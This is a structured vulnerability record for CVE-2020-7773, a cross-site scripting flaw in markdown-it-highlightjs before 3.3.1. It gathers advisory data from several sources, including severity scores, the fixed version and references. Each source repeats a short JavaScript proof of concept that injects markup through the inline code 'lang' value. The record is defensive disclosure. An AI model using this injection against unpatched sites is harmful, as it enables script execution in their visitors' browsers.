{"id":"CVE-2020-7773","aliases":["EUVD-2022-0966","GHSA-f246-xrrj-g8j6","SNYK-JS-MARKDOWNITHIGHLIGHTJS-1040461"],"status":"published","title":"Cross-site Scripting (XSS)","description":"This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require(\"markdown-it-highlightjs\"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.\"\u003ejs}'); console.log(reuslt_xss);","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01362,"percentile":0.72132,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2020-11-16T12:00:24Z","modified":"2026-10-20T10:54:24Z","fixes":[{"ecosystem":"npm","package":"markdown-it-highlightjs","fixed_in":["3.3.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"markdown-it-highlightjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.1"}]}]},{"source":"osv","ecosystem":"npm","package":"markdown-it-highlightjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.3.1"}]}]}],"products":[{"vendor":"markdown-it-highlightjs_project","product":"markdown-it-highlightjs"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-MARKDOWNITHIGHLIGHTJS-1040461","tags":["x_refsource_MISC","x_transferred","Mitigation","Third Party Advisory","advisory","web"]},{"url":"https://github.com/valeriangalliat/markdown-it-highlightjs/pull/14","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://github.com/valeriangalliat/markdown-it-highlightjs/blob/v3.3.0/index.js%23L52","tags":["x_refsource_MISC","x_transferred","Broken Link","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7773","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-f246-xrrj-g8j6"}],"sources":{"cve":[{"id":"CVE-2020-7773","title":"Cross-site Scripting (XSS)","description":"This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require(\"markdown-it-highlightjs\"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.\"\u003ejs}'); console.log(reuslt_xss);","status":"published","published":"2020-11-16T12:00:24.377Z","modified":"2024-09-16T22:09:13.146Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C","level":"medium","assessor":"cna"}],"updated_at":"2026-11-02T14:35:58.331892Z"}],"euvd":[{"id":"EUVD-2022-0966","description":"This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require(\"markdown-it-highlightjs\"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.\"\u003ejs}'); console.log(reuslt_xss);","status":"published","published":"2020-11-16T12:00:24Z","modified":"2024-09-16T22:09:13Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C","level":"medium"}],"updated_at":"2026-11-03T00:55:05.279117Z"}],"ghsa":[{"id":"GHSA-f246-xrrj-g8j6","title":"Cross-site Scripting in markdown-it-highlightjs","description":"This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. \n\n```js\nconst markdownItHighlightjs = require(\"markdown-it-highlightjs\");\nconst md = require('markdown-it'); \nconst reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.\"\u003ejs}'); \nconsole.log(reuslt_xss);\n```","status":"published","published":"2022-02-10T20:19:47Z","modified":"2023-09-05T22:52:01Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:37:02.632342Z"}],"nvd":[{"id":"CVE-2020-7773","description":"This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require(\"markdown-it-highlightjs\"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.\"\u003ejs}'); console.log(reuslt_xss);","status":"published","published":"2020-11-16T12:15:14.463Z","modified":"2026-06-17T03:25:25.287Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":4.3,"vector":"AV:N/AC:M/Au:N/C:N/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:06:24.137599Z"}],"osv":[{"id":"CVE-2020-7773","description":"This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require(\"markdown-it-highlightjs\"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.\"\u003ejs}'); console.log(reuslt_xss);","status":"published","published":"2020-11-16T12:15:14.463Z","modified":"2026-10-20T10:54:24.521422838Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:44:17.34531Z"},{"id":"GHSA-f246-xrrj-g8j6","title":"Cross-site Scripting in markdown-it-highlightjs","description":"This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. \n\n```js\nconst markdownItHighlightjs = require(\"markdown-it-highlightjs\");\nconst md = require('markdown-it'); \nconst reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.\"\u003ejs}'); \nconsole.log(reuslt_xss);\n```","status":"published","published":"2022-02-10T20:19:47Z","modified":"2026-07-08T06:49:30.432173525Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:45.639885Z"}]}}
